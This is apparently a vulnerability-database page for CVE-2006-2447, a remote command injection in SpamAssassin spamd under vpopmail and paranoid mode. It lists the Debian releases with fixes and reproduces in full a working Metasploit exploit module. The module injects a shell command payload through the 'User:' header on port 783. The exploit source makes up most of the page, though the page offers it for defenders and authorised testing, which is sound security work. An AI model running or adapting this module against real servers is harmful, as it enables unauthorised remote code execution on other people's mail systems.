CVE-2006-2447
Description
SpamAssassin before 3.1.3, when running with vpopmail and the paranoid (-P) switch, allows remote attackers to execute arbitrary commands via a crafted message that is not properly handled when invoking spamd with the virtual pop username.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
SpamAssassin spamd - Remote Command Execution (Metasploit)
##
# $Id: spamassassin_exec.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'SpamAssassin spamd Remote Command Execution',
'Description' => %q{
This module exploits a flaw in the SpamAssassin spamd service by specifying
a malicious vpopmail User header, when running with vpopmail and paranoid
modes enabled (non-default). Versions prior to v3.1.3 are vulnerable
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2006-2447' ],
[ 'OSVDB', '26177' ],
[ 'BID', '18290' ],
[ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Jun 06 2006',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(783)
], self.class)
end
def exploit
connect
content = Rex::Text.rand_text_alpha(20)
sploit = "PROCESS SPAMC/1.2\r\n"
sploit << "Content-length: #{(content.length + 2)}\r\n"
sploit << "User: ;#{payload.encoded}\r\n\r\n"
sploit << content + "\r\n\r\n"
sock.put(sploit)
handler
disconnect
end
end
SpamAssassin spamd 3.1.3 - Command Injection (Metasploit)
Metasploit modules
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 3.1.3-1 |
| sid | Fixed | 3.1.3-1 |
| forky | Fixed | 3.1.3-1 |
| bullseye | Fixed | 3.1.3-1 |
| bookworm | Fixed | 3.1.3-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.